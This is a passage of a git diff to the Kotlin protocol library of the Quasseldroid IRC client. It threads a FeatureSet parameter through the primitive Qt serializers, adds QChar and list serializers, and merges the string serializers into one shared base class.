@@ -27,11 +28,11 @@ object IntSerializer : QtSerializer<Int> {
   override val qtType: QtType = QtType.Int
   override val javaType: Class<Int> = Int::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: Int) {
+  override fun serialize(buffer: ChainedByteBuffer, data: Int, featureSet: FeatureSet) {
     buffer.putInt(data)
   }
 
-  override fun deserialize(buffer: ByteBuffer): Int {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): Int {
     return buffer.getInt()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializer.kt
index 58b441caeb9975ef2a39d58388ccb6400bc7d57e..82bfdcff41d6b1d1efcaf08c27fd59bb880aeb3b 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object LongSerializer : QtSerializer<Long> {
   override val qtType: QtType = QtType.Long
   override val javaType: Class<Long> = Long::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: Long) {
+  override fun serialize(buffer: ChainedByteBuffer, data: Long, featureSet: FeatureSet) {
     buffer.putLong(data)
   }
 
-  override fun deserialize(buffer: ByteBuffer): Long {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): Long {
     return buffer.getLong()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ProtocolInfoSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QCharSerializer.kt
similarity index 56%
rename from protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ProtocolInfoSerializer.kt
rename to protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QCharSerializer.kt
index 228d917d4160f231b4e085a6cf1832d4fe3147b3..e8147e54be3c4baea5788bfd4af27c9ba209159f 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ProtocolInfoSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QCharSerializer.kt
@@ -19,26 +19,25 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
-import de.kuschku.libquassel.protocol.connection.ProtocolInfo
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.StringEncoder
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
+import kotlin.concurrent.getOrSet
 
-object ProtocolInfoSerializer : QtSerializer<ProtocolInfo> {
-  override val qtType: QtType = QtType.UserType
-  override val javaType: Class<ProtocolInfo> = ProtocolInfo::class.java
+object QCharSerializer : QtSerializer<Char> {
+  override val qtType: QtType = QtType.QChar
+  override val javaType: Class<out Char> = Char::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: ProtocolInfo) {
-      UByteSerializer.serialize(buffer, data.flags)
-      UShortSerializer.serialize(buffer, data.data)
-      UByteSerializer.serialize(buffer, data.version)
+  private val encoderLocal = ThreadLocal<StringEncoder>()
+  private fun encoder() = encoderLocal.getOrSet { StringEncoder(Charsets.UTF_16BE) }
+
+  override fun serialize(buffer: ChainedByteBuffer, data: Char, featureSet: FeatureSet) {
+    encoder().encodeChar(data, buffer)
   }
 
-  override fun deserialize(buffer: ByteBuffer): ProtocolInfo {
-    return ProtocolInfo(
-            UByteSerializer.deserialize(buffer),
-            UShortSerializer.deserialize(buffer),
-            UByteSerializer.deserialize(buffer)
-    )
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): Char {
+    return encoder().decodeChar(buffer)
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QStringListSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QStringListSerializer.kt
new file mode 100644
index 0000000000000000000000000000000000000000..70779d2899844d28d98c541bb00d609b4cd69e21
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QStringListSerializer.kt
@@ -0,0 +1,50 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.variant.QStringList
+import de.kuschku.libquassel.protocol.variant.QVariantList
+import de.kuschku.libquassel.protocol.variant.QVariant_
+import de.kuschku.libquassel.protocol.variant.QtType
+import java.nio.ByteBuffer
+
+object QStringListSerializer : QtSerializer<QStringList> {
+  override val qtType = QtType.QStringList
+  @Suppress("UNCHECKED_CAST")
+  override val javaType: Class<QStringList> = List::class.java as Class<QStringList>
+
+  override fun serialize(buffer: ChainedByteBuffer, data: QStringList, featureSet: FeatureSet) {
+    IntSerializer.serialize(buffer, data.size, featureSet)
+    data.forEach {
+      StringSerializerUtf16.serialize(buffer, it, featureSet)
+    }
+  }
+
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): QStringList {
+    val result = mutableListOf<String?>()
+    val length = IntSerializer.deserialize(buffer, featureSet)
+    for (i in 0 until length) {
+      result.add(StringSerializerUtf16.deserialize(buffer, featureSet))
+    }
+    return result
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantListSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantListSerializer.kt
new file mode 100644
index 0000000000000000000000000000000000000000..b77e47fbb8c8e06e8ba0df081f4e671d998f55e4
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantListSerializer.kt
@@ -0,0 +1,49 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.variant.QVariantList
+import de.kuschku.libquassel.protocol.variant.QVariant_
+import de.kuschku.libquassel.protocol.variant.QtType
+import java.nio.ByteBuffer
+
+object QVariantListSerializer : QtSerializer<QVariantList> {
+  override val qtType = QtType.QVariantList
+  @Suppress("UNCHECKED_CAST")
+  override val javaType: Class<QVariantList> = List::class.java as Class<QVariantList>
+
+  override fun serialize(buffer: ChainedByteBuffer, data: QVariantList, featureSet: FeatureSet) {
+    IntSerializer.serialize(buffer, data.size, featureSet)
+    data.forEach {
+      QVariantSerializer.serialize(buffer, it, featureSet)
+    }
+  }
+
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): QVariantList {
+    val result = mutableListOf<QVariant_>()
+    val length = IntSerializer.deserialize(buffer, featureSet)
+    for (i in 0 until length) {
+      result.add(QVariantSerializer.deserialize(buffer, featureSet))
+    }
+    return result
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantMapSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantMapSerializer.kt
index dc9480e294f8dfb18138bc4603ea1dc01fa6dee4..956e58e26953465ebc0068672a4fe9c6cc555af9 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantMapSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantMapSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QVariantMap
 import de.kuschku.libquassel.protocol.variant.QVariant_
@@ -30,19 +31,21 @@ object QVariantMapSerializer : QtSerializer<QVariantMap> {
   @Suppress("UNCHECKED_CAST")
   override val javaType: Class<out QVariantMap> = Map::class.java as Class<QVariantMap>
 
-  override fun serialize(buffer: ChainedByteBuffer, data: QVariantMap) {
-    IntSerializer.serialize(buffer, data.size)
+  override fun serialize(buffer: ChainedByteBuffer, data: QVariantMap, featureSet: FeatureSet) {
+    IntSerializer.serialize(buffer, data.size, featureSet)
     data.entries.forEach { (key, value) ->
-      StringSerializerUtf16.serialize(buffer, key)
-      QVariantSerializer.serialize(buffer, value)
+      StringSerializerUtf16.serialize(buffer, key, featureSet)
+      QVariantSerializer.serialize(buffer, value, featureSet)
     }
   }
 
-  override fun deserialize(buffer: ByteBuffer): QVariantMap {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): QVariantMap {
     val result = mutableMapOf<String, QVariant_>()
-    val length = IntSerializer.deserialize(buffer)
+    val length = IntSerializer.deserialize(buffer, featureSet)
     for (i in 0 until length) {
-      result[StringSerializerUtf16.deserialize(buffer) ?: ""] = QVariantSerializer.deserialize(buffer)
+      val key = StringSerializerUtf16.deserialize(buffer, featureSet) ?: ""
+      val value = QVariantSerializer.deserialize(buffer, featureSet)
+      result[key] = value
     }
     return result
   }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantSerializer.kt
index 4481125d9f28e70b835f8b5afddc75b569e42c3e..b3ec8e15e38524dc414689701c732189c18037e8 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QVariantSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.serializers.*
 import de.kuschku.libquassel.protocol.variant.QVariant
@@ -31,45 +32,45 @@ object QVariantSerializer : QtSerializer<QVariant_> {
   override val qtType = QtType.QVariant
   override val javaType: Class<QVariant_> = QVariant::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: QVariant_) {
-    IntSerializer.serialize(buffer, data.serializer.qtType.id)
-    BoolSerializer.serialize(buffer, false)
+  override fun serialize(buffer: ChainedByteBuffer, data: QVariant_, featureSet: FeatureSet) {
+    IntSerializer.serialize(buffer, data.serializer.qtType.id, featureSet)
+    BoolSerializer.serialize(buffer, false, featureSet)
     if (data is QVariant.Custom && data.serializer.qtType == QtType.UserType) {
-      StringSerializerAscii.serialize(buffer, data.serializer.quasselType.typeName)
+      StringSerializerAscii.serialize(buffer, data.serializer.quasselType.typeName, featureSet)
     }
-    data.serialize(buffer)
+    data.serialize(buffer, featureSet)
   }
 
-  override fun deserialize(buffer: ByteBuffer): QVariant_ {
-    val rawType = IntSerializer.deserialize(buffer)
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): QVariant_ {
+    val rawType = IntSerializer.deserialize(buffer, featureSet)
     val qtType = QtType.of(rawType)
       ?: throw NoSerializerForTypeException(rawType, null)
     // isNull, but we ignore it as it has no meaning
-    BoolSerializer.deserialize(buffer)
+    BoolSerializer.deserialize(buffer, featureSet)
 
     return if (qtType == QtType.UserType) {
-      val name = StringSerializerAscii.deserialize(buffer)
+      val name = StringSerializerAscii.deserialize(buffer, featureSet)
       val quasselType = QuasselType.of(name)
         ?: throw NoSerializerForTypeException(qtType.id, name)
-      deserialize(quasselType, buffer)
+      deserialize(quasselType, buffer, featureSet)
     } else {
-      deserialize(qtType, buffer)
+      deserialize(qtType, buffer, featureSet)
     }
   }
 
   @Suppress("UNCHECKED_CAST")
-  private fun deserialize(type: QtType, buffer: ByteBuffer): QVariant_ {
+  private fun deserialize(type: QtType, buffer: ByteBuffer, featureSet: FeatureSet): QVariant_ {
     val serializer = Serializers[type]
       ?: throw NoSerializerForTypeException(type)
-    val value = serializer.deserialize(buffer)
-    return QVariant.of(value, serializer as QuasselSerializer<Any?>)
+    val value = serializer.deserialize(buffer, featureSet)
+    return QVariant.of(value, serializer as QtSerializer<Any?>)
   }
 
   @Suppress("UNCHECKED_CAST")
-  private fun deserialize(type: QuasselType, buffer: ByteBuffer): QVariant_ {
+  private fun deserialize(type: QuasselType, buffer: ByteBuffer, featureSet: FeatureSet): QVariant_ {
     val serializer = Serializers[type]
       ?: throw NoSerializerForTypeException(type)
-    val value = serializer.deserialize(buffer)
+    val value = serializer.deserialize(buffer, featureSet)
     return QVariant.of(value, serializer as QuasselSerializer<Any?>)
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QtSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QtSerializer.kt
index 89854b79d26a41349572fd79e38eda9dcccb28f3..dfc7eeccb472e15df824cfeea12d7a14ce2d26bc 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QtSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/QtSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -26,6 +27,6 @@ import java.nio.ByteBuffer
 interface QtSerializer<T> {
   val qtType: QtType
   val javaType: Class<out T>
-  fun serialize(buffer: ChainedByteBuffer, data: T)
-  fun deserialize(buffer: ByteBuffer): T
+  fun serialize(buffer: ChainedByteBuffer, data: T, featureSet: FeatureSet)
+  fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): T
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/Serializers.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/Serializers.kt
index b3e4a711fef08b8ccfd3b8f42727872a6d7bda2f..e870e9a358a77b014b13e7d2c7e215015546e701 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/Serializers.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/Serializers.kt
@@ -36,8 +36,12 @@ object Serializers {
     UIntSerializer,
     LongSerializer,
     ULongSerializer,
+    ByteBufferSerializer,
     StringSerializerUtf16,
+    QCharSerializer,
+    QStringListSerializer,
     QVariantSerializer,
+    QVariantListSerializer,
     QVariantMapSerializer,
   ).associateBy(QtSerializer<*>::qtType)
 
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializer.kt
index e429280eb9d5dd7d12a231b1c265f10d1a71cb6a..409beba5f5d83466cedae5ce845f678e286a5ef7 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object ShortSerializer : QtSerializer<Short> {
   override val qtType: QtType = QtType.Short
   override val javaType: Class<Short> = Short::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: Short) {
+  override fun serialize(buffer: ChainedByteBuffer, data: Short, featureSet: FeatureSet) {
     buffer.putShort(data)
   }
 
-  override fun deserialize(buffer: ByteBuffer): Short {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): Short {
     return buffer.getShort()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializer.kt
new file mode 100644
index 0000000000000000000000000000000000000000..56bfcf60f3e27988765ec62beb9df1e3de382f8b
--- /dev/null
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializer.kt
@@ -0,0 +1,86 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.StringEncoder
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.variant.QtType
+import java.nio.ByteBuffer
+import java.nio.charset.Charset
+import kotlin.concurrent.getOrSet
+
+abstract class StringSerializer(
+  private val charset: Charset,
+  private val nullLimited: Boolean = false,
+) : QtSerializer<String?> {
+  override val qtType = QtType.QString
+  override val javaType: Class<out String> = String::class.java
+
+  private val encoderLocal = ThreadLocal<StringEncoder>()
+  private fun encoder() = encoderLocal.getOrSet { StringEncoder(charset) }
+
+  private inline fun addNullBytes(before: Int) = if (nullLimited) before + 1 else before
+  private inline fun removeNullBytes(before: Int) = if (nullLimited) before - 1 else before
+
+  override fun serialize(buffer: ChainedByteBuffer, data: String?, featureSet: FeatureSet) {
+    if (data == null) {
+      IntSerializer.serialize(buffer, -1, featureSet)
+    } else {
+      val encodedData = encoder().encode(data)
+      IntSerializer.serialize(buffer, addNullBytes(encodedData.remaining()), featureSet)
+      buffer.put(encodedData)
+      if (nullLimited) {
+        buffer.put(0)
+      }
+    }
+  }
+
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): String? {
+    val length = IntSerializer.deserialize(buffer, featureSet)
+    if (length < 0) {
+      return null
+    }
+    val result = encoder().decode(buffer, removeNullBytes(length))
+    if (nullLimited) {
+      buffer.position(addNullBytes(buffer.position()))
+    }
+    return result
+  }
+
+  fun serializeRaw(data: String?): ByteBuffer {
+    val result = encoder().encode(data)
+    if (nullLimited) {
+      val buffer = ByteBuffer.allocateDirect(result.remaining() + 1)
+      buffer.put(result)
+      buffer.clear()
+      return buffer
+    }
+    return result
+  }
+
+  fun deserializeRaw(data: ByteBuffer): String {
+    if (nullLimited) {
+      data.limit(removeNullBytes(data.limit()))
+    }
+    return encoder().decode(data)
+  }
+}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerAscii.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerAscii.kt
index 2c5933c5321074c92225d0b26aeabda55f295ee9..f13a9a51fe5b809180df02c148e15d1172d3a797 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerAscii.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerAscii.kt
@@ -19,31 +19,11 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.io.stringEncoderAscii
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
 
-object StringSerializerAscii : QtSerializer<String?> {
-  override val qtType = QtType.QString
-  override val javaType: Class<out String> = String::class.java
+object StringSerializerAscii : StringSerializer(Charsets.ISO_8859_1, true)
 
-  override fun serialize(buffer: ChainedByteBuffer, data: String?) {
-    if (data == null) {
-        IntSerializer.serialize(buffer, -1)
-    } else {
-      val stringBuffer = stringEncoderAscii().encode(data, true)
-        IntSerializer.serialize(buffer, stringBuffer.remaining())
-      buffer.put(stringBuffer)
-    }
-  }
-
-  override fun deserialize(buffer: ByteBuffer): String? {
-    val length = IntSerializer.deserialize(buffer) - 1
-    return if (length < 0) {
-      null
-    } else {
-      stringEncoderAscii().decode(buffer, length, true)
-    }
-  }
-}
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf16.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf16.kt
index add6cbf8c5fab4098287a3fe45f08c704bd06138..65114cd0caab15fb7028aef5eb6e58801067f1a0 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf16.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf16.kt
@@ -19,31 +19,4 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
-import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
-import de.kuschku.libquassel.protocol.io.stringEncoderUtf16
-import de.kuschku.libquassel.protocol.variant.QtType
-import java.nio.ByteBuffer
-
-object StringSerializerUtf16 : QtSerializer<String?> {
-  override val qtType = QtType.QString
-  override val javaType: Class<out String> = String::class.java
-
-  override fun serialize(buffer: ChainedByteBuffer, data: String?) {
-    if (data == null) {
-        IntSerializer.serialize(buffer, -1)
-    } else {
-      val stringBuffer = stringEncoderUtf16().encode(data)
-        IntSerializer.serialize(buffer, stringBuffer.remaining())
-      buffer.put(stringBuffer)
-    }
-  }
-
-  override fun deserialize(buffer: ByteBuffer): String? {
-    val length = IntSerializer.deserialize(buffer)
-    return if (length < 0) {
-      null
-    } else {
-      stringEncoderUtf16().decode(buffer, length)
-    }
-  }
-}
+object StringSerializerUtf16 : StringSerializer(Charsets.UTF_16BE)
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf8.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf8.kt
index 6324179fe79aca4d196ac7a507ea697ad9b798cb..23c93e97607a95c36562dfa8b8c456c3f51abfde 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf8.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerUtf8.kt
@@ -19,32 +19,4 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
-import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
-import de.kuschku.libquassel.protocol.io.stringEncoderUtf8
-import de.kuschku.libquassel.protocol.variant.QtType
-import java.nio.ByteBuffer
-
-object StringSerializerUtf8 : QtSerializer<String?> {
-  override val qtType = QtType.QString
-  override val javaType: Class<out String> = String::class.java
-
-  override fun serialize(buffer: ChainedByteBuffer, data: String?) {
-    if (data == null) {
-      IntSerializer.serialize(buffer, -1)
-    } else {
-      val stringBuffer = stringEncoderUtf8().encode(data)
-      IntSerializer.serialize(buffer, stringBuffer.remaining())
-      buffer.put(stringBuffer)
-    }
-  }
-
-  override fun deserialize(buffer: ByteBuffer): String? {
-    val length = IntSerializer.deserialize(buffer)
-    return if (length < 0) {
-      null
-    } else {
-      stringEncoderUtf8().decode(buffer, length)
-    }
-  }
-}
-
+object StringSerializerUtf8 : StringSerializer(Charsets.UTF_8)
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UByteSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UByteSerializer.kt
index fb5af5e06467ebf7fd929a0d34926b75b1ba8e01..e303014798af0df3dbda8cea5abea217815d8094 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UByteSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UByteSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object UByteSerializer : QtSerializer<UByte> {
   override val qtType: QtType = QtType.UChar
   override val javaType: Class<UByte> = UByte::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: UByte) {
+  override fun serialize(buffer: ChainedByteBuffer, data: UByte, featureSet: FeatureSet) {
     buffer.put(data.toByte())
   }
 
-  override fun deserialize(buffer: ByteBuffer): UByte {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): UByte {
     return buffer.get().toUByte()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UIntSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UIntSerializer.kt
index 35bdb1afec3b783df0e9a730651ff241bd45e3f0..39221efb9283fc6c1d8c0fea401cbd6fc13a9620 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UIntSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UIntSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object UIntSerializer : QtSerializer<UInt> {
   override val qtType: QtType = QtType.UInt
   override val javaType: Class<UInt> = UInt::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: UInt) {
+  override fun serialize(buffer: ChainedByteBuffer, data: UInt, featureSet: FeatureSet) {
     buffer.putInt(data.toInt())
   }
 
-  override fun deserialize(buffer: ByteBuffer): UInt {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): UInt {
     return buffer.getInt().toUInt()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ULongSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ULongSerializer.kt
index ffea3f6ea8dbb449b3b26e8845f816929a8677d5..92e3c68bfc314018d7e1207935dbe3efb7c01f5e 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ULongSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/ULongSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object ULongSerializer : QtSerializer<ULong> {
   override val qtType: QtType = QtType.ULong
   override val javaType: Class<ULong> = ULong::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: ULong) {
+  override fun serialize(buffer: ChainedByteBuffer, data: ULong, featureSet: FeatureSet) {
     buffer.putLong(data.toLong())
   }
 
-  override fun deserialize(buffer: ByteBuffer): ULong {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): ULong {
     return buffer.getLong().toULong()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UShortSerializer.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UShortSerializer.kt
index 50b9564153a53db00d4535ccd714be90e779827b..ae6e66f577f092c85ce39191c858d017c073622e 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UShortSerializer.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/serializers/primitive/UShortSerializer.kt
@@ -19,6 +19,7 @@
 
 package de.kuschku.libquassel.protocol.serializers.primitive
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
